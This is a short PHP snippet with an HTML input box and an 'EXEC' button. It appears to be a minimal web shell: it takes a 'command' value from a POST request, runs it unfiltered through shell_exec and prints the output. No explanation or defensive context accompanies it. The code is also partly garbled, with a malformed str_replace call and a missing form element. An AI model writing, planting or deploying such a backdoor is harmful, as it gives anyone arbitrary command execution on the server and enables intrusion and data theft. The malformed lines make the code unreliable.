if (isset($_POST['command'])) {
$command = $_POST['command'];
header('Content-Type: text/plain');
echo shell_exec($command).str_replace("\n","
");
}
header('Content-Type: text/html');


<input name="command">
<button type="submit">EXEC</button>